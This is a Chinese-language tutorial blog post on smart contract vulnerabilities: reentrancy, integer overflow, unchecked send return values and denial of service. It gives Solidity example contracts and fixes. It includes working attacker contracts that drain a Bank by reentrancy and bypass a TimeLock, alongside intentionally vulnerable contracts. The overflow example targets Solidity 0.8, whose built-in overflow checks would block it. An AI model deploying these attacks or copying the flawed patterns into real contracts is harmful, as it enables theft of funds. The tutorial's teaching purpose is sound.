当前位置: 首页 > news >正文

智能合约 -- 常规漏洞分析 + 实例

 1.重入攻击

漏洞分析

攻击者利用合约漏洞,通过fallback()或者receive()函数进行函数递归进行无限取钱。

刚才试了一下可以递归10次,貌似就结束了。

直接看代码:

  • 银行合约:有存钱、取钱、查看账户余额等函数。
  • 攻击合约: 攻击、以及合约接受以太币就触发的receive()函数。

分析 : 攻击者通过Attack 合约调用attack()接口,先存钱,后进行取钱;那么Bank会向该合约发送以太币,进而触发Attack合约的 receive()函数,然后又进行取钱操作,由于形成递归操作,Bank合约的withdraw()接口的,账户置0操作无法执行,从而形成无限递归。

// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;contract Bank {mapping (address => uint) public balances; // 账户 => 余额// 存钱函数function desposit() public payable { require(msg.value >0, "save money cannot be zero");balances[msg.sender] += msg.value;}// 取钱函数function withdraw() public{require(balances[msg.sender] >0,"balance is not exists");(bool success,) =   msg.sender.call{value:balances[msg.sender]}(""); // 递归下面的操作必须等待递归之后才能执行balances[msg.sender] = 0; // 置0 操作}// 查看账户余额function getBalance() public view  returns(uint){return balances[msg.sender];}}contract Attack {Bank public bank;constructor( address _bankAddress){bank = Bank(_bankAddress);}// 攻击函数function attack() public payable {bank.desposit{value:msg.value}();bank.withdraw();}receive() external payable {if(address(bank).balance >0){ //如果银行合约还有钱持续调用bank.withdraw();}}
}

漏洞解决

1. 采用更为安全的转账函数

原理:函数的执行会消耗gas,如果可支付gas不满足 递归消耗的gas,从而报错进行合约状态回滚。

<address>.transfer():发送失败则回滚交易状态,只传递 2300 Gas 供调用,防止重入。
<address>.send():发送失败则返回 false,只传递 2300 Gas 供调用,防止重入。
<address>.call():发送失败返回 false,会传递所有可用 Gas 给予外部合约 fallback() 调用;可通过 { value: money } 限制 Gas,不能有效防止重入。

payable 标识符

在函数上添加 payable 标识,即可接受 Ether,并将其存储在当前合约中。

2.互斥锁

原理: 第一去取钱,状态变量修改为true,从而将函数锁住,必须等这次函数执行完毕,才能重新对函数进行调用。

3. 先将账户余额置0,再转账

原理: 先账户置0,就算转账触发递归,再次取钱 ,由于账户余额小于0,会直接抛异常。(当攻击这利用Attack合约攻击已修复好Bank合约,按道理能触发递归,接着会报 "balance is not exists",但是他却能正常执行,但是重入没触发,钱存到Bank里,没有拿回来。)

2.整形溢出

漏洞分析

算术溢出(arithmetic overflow)或简称为溢出(overflow)是指在

计算机领域里所发生的。运行单项数值计算时,当计算产生出来的

结果大于寄存器或存储器所能存储或表示的能力限制的情况就称为

算术上溢。反之,称为算术下溢。

我的理解:输入的数字超过计编程语言的数据类型设置的最大范围,表现出的数字跟预想数字不一致。

举例: 一个数据类型A取值范围是 0- 5 ,那么3 - 3 = ? 对于数据类型A的结果是多少?

我们可以把 0 - 5看成一个圈,  A的最小值是0, 那么 -1 就是5,  那么-3 就是3;

3 + 3 = 6,由于A最大值5,溢出之后, 6 -> 0。

看代码:

// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;contract TimeLock {mapping(address => uint) public balances;mapping(address => uint) public lockTime;// 存钱并且冻结账户一周function deposit() public  payable {balances[msg.sender] += msg.value;lockTime[msg.sender] = block.timestamp + 1 weeks;}// 增加冻结时间function addLcokTime(uint _time) public {lockTime[msg.sender] += _time;}// 取钱function withdraw() public {require(balances[msg.sender] > 0, "balance cannot be zrro");require(block.timestamp > lockTime[msg.sender] , " account is still frozen");uint _value = balances[msg.sender];balances[msg.sender] = 0;(bool success,) = msg.sender.call{value:_value}("");}}contract Attack{receive() external payable {}TimeLock public timelock;constructor(address _timelock) {timelock = TimeLock(_timelock);}function attack() public payable {timelock.deposit();timelock.addLcokTime(type(uint).max + 1 - timelock.lockTime(address(this))
// 传入uint 最大 + 1 ,溢出变成0, - timelock.lockTime(address(this)) 与拿到map里的冻结时间,与原先冻结时间,相加溢出也变成0.  6 -6 =0 );timelock.withdraw();}
}

漏洞解决

其实引入SafaMath库.参考这篇博客,其实原理很简单。

solidity合约开发-SafeMath_北纬32.6的博客-CSDN博客

我们把TimeLock 合约修改如下:

我们通过将2个值相加的结果,与 2个值进行比较,如果a + b发生溢出,那么 c 会小于a 或者b,从而抛出异常无法执行。

 contract TimnLock {......function sum(uint a, uint b) public pure returns(uint){uint c = a + b;require(c >=a && c >= b, "overflow is trigger!");return c;}
......}

3. 未检查返回值

漏洞分析

在soldity中,像send、call、callcodedelegatecallstaticcal这些低级函数,会产生返回值作为执行结果,如果我们没有对其返回值进行判断很容易发生逻辑错误。

看下面代码:

我们Lotton合约中sendTowinner()并没有对send()的结果进行处理。

假如,我们没有赞助商通过deposit()赞助奖金,那么 send()函数会因为当前合约balance为0,没有足够eth转账,从而返回false。接着 payedOut 变为true。getWinAmount()进而能正常调用。但这并不是我们希望看到的。

我们希望send()成功,接着 payedOut 变为true,最后公开金额数量。

contract Lotto{bool public payedOut = false;address public winner; // 获胜者uint private  winAmount  = 10000; // 获胜金额// 2.向获胜者发送奖金function sendTowinner(address _addr) public {require(!payedOut);winner = _addr;payable(winner).send(winAmount);payedOut = true; }// 3. 向外进公开获胜者的金额数量function getWinAmount() public  view returns(uint){require(payedOut);return winAmount;}// 1.赞助商赞助奖金function desposit() public payable {winAmount = msg.value;}}

漏洞解决

   // 向获胜者发送奖金function sendTowinner(address _addr) public {require(!payedOut);winner = _addr;bool success =  payable(winner).send(winAmount); // payable(winner).transfer(winAmount); ,失败直接会报错require(success,"send falied");payedOut = true; }

4.拒绝服务

我的理解:在soldiity里,拒绝服务漏洞可以简单理解为,因为合约内部或者外部账户操作,致使合约中的函数能大量消耗gas 和Ether或者不能被访问,从而使该函数无法正常执行。

举个例子:超市有三个收银点,正常来说人们排队在收银点进行扫码支 付,但是有一天网络出现了问题,所有收银点的顾客扫码支付都失败了, 而后面的人也不能进行支付买单,就导致了收银点的堵塞,超市不能正常 运营。又或者,在支付时有顾客故意闹事,使得后面的顾客也不能去支 付,这同样也会导致超市不能运营。我们可以看到有来自内部的,还有来 自外部的,都是可能会造成拒绝服务攻击。

1.在外部操控映射或者数组循环

这种情况一般是由于映射或数组循环在外部能被其他人操控,由于映射或数组没有长度没有被限制,从而导致大量消耗Ether和Gas。

看代码:

// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;
/*
*@tile: 分发代币
*/
contract DistributeTokens{uint public amount;address public owner;address[] public investors; // 投资者数组uint[] public investorTokens; // 每个投资者的tokenuint currentIndex; event Transfer(address _from, uint _amount); // 转让代币触发的事件constructor(){owner = msg.sender;}// 投资者调用,记录每个投资者的地址,和应该分发的代币function invest() public payable {investors.push(msg.sender);investorTokens.push(msg.value *5);}// 首次代币分发function distribute() public {require(msg.sender == owner);for (uint i =0;i < investors.length && gasleft() > 30000; i++) {transferToken(investors[i],investorTokens[i]);currentIndex = i;}}function transferToken(address _from,uint _amount) public {// 在这里执行代币转移操作,将代币从合约地址转移到投资者地址amount += _amount; // 记录总代币emit Transfer(_from,_amount);}}

在上面的代码片段中我们可以看到,distribute() 函数中会去遍历投资者数 组,但是合约的循环遍历数组是可以被外部的人进行人为扩充,如果有攻 击者要攻击这个合约,那么他可以创建多个账户加入投资者的数组,让 investors 的数据变得很大,大到让循环遍历数组所需的 gas 数量超过区块 gas 数量的上限,此时 distribute() 函数将无法正常操作,这样就会造成该 合约的拒绝服务攻击。

解决:如果合约必须通过一个变长数组进行转账,最好估计区块有多少笔交易,从而限制数组长度,另外必须追踪到能够进行到哪以便当操作失败开始从哪里恢复。

上面代码修改:

通过currentIndex 记录遍历数组当前索引,以便出异常查询。在循环中,加入gasleft()比较,从而限制gas的使用。

 2.所有者操作

在代币合约中,通常有一个owner账户,也就是合约所有者账户,其拥有开启和暂停交易的权限。如果owner地址缺失,导致非主观的拒绝服务攻击。

ICO 结束后,如果特权用户丢失,其私钥可能会变为非活动状

态,此时,无法调用 finalize() 函数开启交易,那么用户就一直不能发送代

币,合约也就不能进行正常操作了。

解决 : 不能特权用户权限作为唯一判断条件,从而导致整个合约瘫痪。

 

相关文章:

智能合约 -- 常规漏洞分析 + 实例

1.重入攻击 漏洞分析 攻击者利用合约漏洞&#xff0c;通过fallback()或者receive()函数进行函数递归进行无限取钱。 刚才试了一下可以递归10次&#xff0c;貌似就结束了。 直接看代码: 银行合约&#xff1a;有存钱、取钱、查看账户余额等函数。攻击合约: 攻击、以及合约接…...

JavaScript 操作历史记录api怎样使用 JavaScript

JavaScript 操作历史记录api怎样使用 JavaScript History 是 window 对象中的一个 JavaScript 对象&#xff0c;它包含了关于浏览器会话历史的详细信息。你所访问过的 URL 列表将被像堆栈一样存储起来。浏览器上的返回和前进按钮使用的就是 history 的信息。 History 对象包含…...

Spring 容器

提示&#xff1a;英语很重要&#xff0c;单词是读的&#xff0c;是拼出来的&#xff0c;和拼音一样 文章目录 前言前期准备1️⃣ DI 依赖注入1、xml 配置方式2、注解方式 annotation❗相关注解Spring中Bean的作用域❗Scope() 注解Qualifier("XXXServiceImpl") 指定哪…...

【腾讯云Cloud Studio实战训练营】使用React快速构建点餐H5

文章目录 前言一、Cloud Studio是什么二、Cloud Studio特点三、Cloud Studio使用1.访问官网2.账号注册3.模板选择4.模板初始化5.H5开发安装 antd-mobile安装 Less安装 normalize上传项目需要的素材替换App.js主文件项目启动、展示 6.发布仓库 总结 前言 随着云计算产业的发展&…...

Java培训课程哪个品牌好?快拿小本本记好

Java是一门广泛应用于企业级应用程序开发的高级编程语言&#xff0c;具有较高的学习和职业发展价值。但是&#xff0c;在选择Java培训课程时&#xff0c;很多人会遇到一个问题&#xff1a;Java培训课程哪个品牌好?小编经过多方分析和比较&#xff0c;从专业培训的角度&#xf…...

leetcode19. 删除链表的倒数第 N 个结点

题目&#xff1a;leetcode19. 删除链表的倒数第 N 个结点 描述&#xff1a; 给你一个链表&#xff0c;删除链表的倒数第 n 个结点&#xff0c;并且返回链表的头结点。 思路&#xff1a; 让前面的节点比后面的节点先走n1步&#xff0c;因为从链表的尾节点的下一个节点开始&…...

c51单片机串行通信示例代码(单片机--单片机通信)(附带proteus线路图)

//这个发送端代码 #include "reg51.h" #include "myheader.h" #define uchar unsigned char long int sleep_i0; long int main_i0; void main() {uchar sendx[6]{2,0,2,3,8,1};sleep(2000);TMOD0x20;TH10XF4;//根据波特率计算公式这里需要设置为这么多才能…...

UML之四种事物

目录 结构事物 行为事物 分组事物&#xff1a; 注释事物 结构事物 1.类(Class) -类是对一组具有相同属性、方法、关系和语义的对象的描述。一个类实现一个或多个接口 2.接口(interface) -接口描述 了一个类或构件的一个服务的操作集。接口仅仅是定义了一组操作的规范&…...

盒子模型和新盒子模型及区别

盒子模型是用于描述 HTML 元素在页面中占据的空间的概念。它将每个元素视为一个矩形框&#xff0c;由内容区域、内边距、边框和外边距组成。这个传统的盒子模型也被称为 "标准盒子模型"。 新盒子模型是指使用 CSS3 中的 box-sizing 属性设置为 border-box 后的一种盒…...

移动端Vue组件库-vant

Vant 是有赞前端团队开源的移动端vue组件库&#xff0c;适用于手机端h5页面。 鉴于百度搜索不到vant官方网址&#xff0c;分享一下vant组件库官网地址&#xff0c;方便新手使用 vant官网地址Vant 4 - A lightweight, customizable Vue UI library for mobile web apps. 通过 …...

Java课题笔记~ JSP内置对象

(1)九个内置对象 jsp的内置对象&#xff1a;JSP内置对象是不需要声明和创建就可以在JSP页面脚本中使用的成员变量。 九个内置对象&#xff1a; 1.out对象 在JSP页面中&#xff0c;经常需要向客户端发送文本内容&#xff0c;这时&#xff0c;可以使用out对象来实现。out对象…...

数据结构笔记--链表经典高频题

目录 前言 1--反转单向链表 2--反转单向链表-II 3--反转双向链表 4--打印两个有序链表的公共部分 5--回文链表 6--链表调整 7--复制含有随机指针结点的链表 8--两个单链表相交问题 前言 面经&#xff1a; 针对链表的题目&#xff0c;对于笔试可以不太在乎空间复杂度&a…...

Android Ble蓝牙App(三)特性和属性

Ble蓝牙App&#xff08;三&#xff09;特性使用 前言正文一、获取属性列表二、属性适配器三、获取特性名称四、特性适配器五、加载特性六、显示特性和属性七、源码 前言 在上一篇中我们完成了连接和发现服务两个动作&#xff0c;那么再发现服务之后要做什么呢&#xff1f;发现服…...

日常BUG——使用Long类型作id,后端返回给前段后精度丢失问题

&#x1f61c;作 者&#xff1a;是江迪呀✒️本文关键词&#xff1a;日常BUG、BUG、问题分析☀️每日 一言 &#xff1a;存在错误说明你在进步&#xff01; 一、问题描述 数据库long类型Id: 前端返回的Id实体类: Data ApiModel("xxx") public class …...

【C++初阶】string类的常见基本使用

&#x1f466;个人主页&#xff1a;Weraphael ✍&#x1f3fb;作者简介&#xff1a;目前学习C和算法 ✈️专栏&#xff1a;C航路 &#x1f40b; 希望大家多多支持&#xff0c;咱一起进步&#xff01;&#x1f601; 如果文章对你有帮助的话 欢迎 评论&#x1f4ac; 点赞&#x1…...

【ArcGIS Pro二次开发】(60):按图层导出布局

在使用布局导图时&#xff0c;会遇到如下问题&#xff1a; 为了切换图层和导图方便&#xff0c;一般情况下&#xff0c;会把相关图层做成图层组。 在导图的时候&#xff0c;如果想要按照图层组进行分开导图&#xff0c;如上图&#xff0c;想导出【现状图、规划图、管控边界】3…...

docker-desktop数据目录迁移

1.退出docker-desktop后执行 wsl --list -v 如下 NAME STATE VERSION * docker-desktop Stopped 2docker-desktop-data Stopped 22.执行以下命令进行数据导出&#xff1a;&#xff08;需要等待命令执行完成&#xff09…...

03.利用Redis实现缓存功能---解决缓存穿透版

学习目标&#xff1a; 提示&#xff1a;学习如何利用Redis实现添加缓存功能解决缓存穿透版 学习产出&#xff1a; 缓存穿透讲解图&#xff1a; 解决方案&#xff1a; 采用缓存空对象采用布隆过滤器 解决方案流程图&#xff1a; 1. 准备pom环境 <dependency><gro…...

全景图!最近20年,自然语言处理领域的发展

夕小瑶科技说 原创 作者 | 小戏、Python 最近这几年&#xff0c;大家一起共同经历了 NLP&#xff08;写一下全称&#xff0c;Natural Language Processing&#xff09; 这一领域井喷式的发展&#xff0c;从 Word2Vec 到大量使用 RNN、LSTM&#xff0c;从 seq2seq 再到 Attenti…...

Mybatis参数传递

Map传参, #{}里的key要一一对应不能乱写&#xff0c;如果不存在则会填充NULL&#xff0c;不会报错 Map<String, Object> map new HashMap<>(); // 让key的可读性增强 map.put("carNum", "103"); map.put("brand", "奔驰E300L&…...

反射获取方法和属性

Java反射获取方法 在Java中&#xff0c;反射&#xff08;Reflection&#xff09;是一种强大的机制&#xff0c;允许程序在运行时访问和操作类的内部属性和方法。通过反射&#xff0c;可以动态地创建对象、调用方法、改变属性值&#xff0c;这在很多Java框架中如Spring和Hiberna…...

SpringCloudGateway 自定义局部过滤器

场景&#xff1a; 将所有请求转化为同一路径请求&#xff08;方便穿网配置&#xff09;在请求头内标识原来路径&#xff0c;然后在将请求分发给不同服务 AllToOneGatewayFilterFactory import lombok.Getter; import lombok.Setter; import lombok.extern.slf4j.Slf4j; impor…...

C++八股 —— 单例模式

文章目录 1. 基本概念2. 设计要点3. 实现方式4. 详解懒汉模式 1. 基本概念 线程安全&#xff08;Thread Safety&#xff09; 线程安全是指在多线程环境下&#xff0c;某个函数、类或代码片段能够被多个线程同时调用时&#xff0c;仍能保证数据的一致性和逻辑的正确性&#xf…...

【碎碎念】宝可梦 Mesh GO : 基于MESH网络的口袋妖怪 宝可梦GO游戏自组网系统

目录 游戏说明《宝可梦 Mesh GO》 —— 局域宝可梦探索Pokmon GO 类游戏核心理念应用场景Mesh 特性 宝可梦玩法融合设计游戏构想要素1. 地图探索&#xff08;基于物理空间 广播范围&#xff09;2. 野生宝可梦生成与广播3. 对战系统4. 道具与通信5. 延伸玩法 安全性设计 技术选…...

AspectJ 在 Android 中的完整使用指南

一、环境配置&#xff08;Gradle 7.0 适配&#xff09; 1. 项目级 build.gradle // 注意&#xff1a;沪江插件已停更&#xff0c;推荐官方兼容方案 buildscript {dependencies {classpath org.aspectj:aspectjtools:1.9.9.1 // AspectJ 工具} } 2. 模块级 build.gradle plu…...

安宝特案例丨Vuzix AR智能眼镜集成专业软件,助力卢森堡医院药房转型,赢得辉瑞创新奖

在Vuzix M400 AR智能眼镜的助力下&#xff0c;卢森堡罗伯特舒曼医院&#xff08;the Robert Schuman Hospitals, HRS&#xff09;凭借在无菌制剂生产流程中引入增强现实技术&#xff08;AR&#xff09;创新项目&#xff0c;荣获了2024年6月7日由卢森堡医院药剂师协会&#xff0…...

Cilium动手实验室: 精通之旅---13.Cilium LoadBalancer IPAM and L2 Service Announcement

Cilium动手实验室: 精通之旅---13.Cilium LoadBalancer IPAM and L2 Service Announcement 1. LAB环境2. L2公告策略2.1 部署Death Star2.2 访问服务2.3 部署L2公告策略2.4 服务宣告 3. 可视化 ARP 流量3.1 部署新服务3.2 准备可视化3.3 再次请求 4. 自动IPAM4.1 IPAM Pool4.2 …...

如何配置一个sql server使得其它用户可以通过excel odbc获取数据

要让其他用户通过 Excel 使用 ODBC 连接到 SQL Server 获取数据&#xff0c;你需要完成以下配置步骤&#xff1a; ✅ 一、在 SQL Server 端配置&#xff08;服务器设置&#xff09; 1. 启用 TCP/IP 协议 打开 “SQL Server 配置管理器”。导航到&#xff1a;SQL Server 网络配…...

AxureRP-Pro-Beta-Setup_114413.exe (6.0.0.2887)

Name&#xff1a;3ddown Serial&#xff1a;FiCGEezgdGoYILo8U/2MFyCWj0jZoJc/sziRRj2/ENvtEq7w1RH97k5MWctqVHA 注册用户名&#xff1a;Axure 序列号&#xff1a;8t3Yk/zu4cX601/seX6wBZgYRVj/lkC2PICCdO4sFKCCLx8mcCnccoylVb40lP...

【免费数据】2005-2019年我国272个地级市的旅游竞争力多指标数据(33个指标)

旅游业是一个城市的重要产业构成。旅游竞争力是一个城市竞争力的重要构成部分。一个城市的旅游竞争力反映了其在旅游市场竞争中的比较优势。 今日我们分享的是2005-2019年我国272个地级市的旅游竞争力多指标数据&#xff01;该数据集源自2025年4月发表于《地理学报》的论文成果…...